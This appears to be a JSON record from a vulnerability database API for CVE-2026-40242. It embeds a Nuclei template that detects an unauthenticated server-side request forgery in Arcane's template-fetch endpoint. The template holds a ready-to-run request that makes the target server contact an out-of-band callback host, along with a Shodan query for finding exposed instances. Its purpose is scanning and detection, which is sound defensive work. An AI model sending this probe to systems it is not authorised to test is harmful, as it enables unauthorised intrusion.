{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-40242/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-40242/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-40242/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-40242/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-40242/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-40242/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-40242"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-40242"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-40242.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-40242\n\ninfo:\n  name: Arcane <= 1.17.2 - Server-Side Request Forgery\n  author: 0x_Akoko\n  severity: high\n  description: |\n   Arcane <= 1.17.3 contains an unauthenticated server-side request forgery caused by lack of URL scheme and host validation in /api/templates/fetch endpoint, letting remote attackers perform SSRF, exploit requires no authentication.\n  impact: |\n   Remote attackers can make the server perform arbitrary HTTP requests, potentially accessing internal resources or sensitive data.\n  remediation: |\n   Upgrade to version 1.17.3 or later.\n  reference:\n    - https://github.com/getarcaneapp/arcane/security/advisories/GHSA-ff24-4prj-gpmj\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-40242\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\n    cvss-score: 7.2\n    cve-id: CVE-2026-40242\n    cwe-id: CWE-918\n    epss-score: 0.00621\n    epss-percentile: 0.4988\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: getarcaneapp\n    product: arcane\n    shodan-query: http.html:\"arcane\"\n  tags: cve,cve2026,arcane,ssrf,oast,unauth,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /api/templates/fetch?url=http://{{interactsh-url}}/test.json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(interactsh_protocol, \"http\")\n          - contains(content_type, \"application/json\")\n        condition: and\n# digest: 4a0a00473045022100e4b01d9dfdc62aa9fae34250b5f9fc819ee6bb5a7f03bef6d502f5ddc49aba2002207d7fbd924434bca3afb9454f43f27349f19cb2bb985fba5e365cde504301c7fb:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-40242"}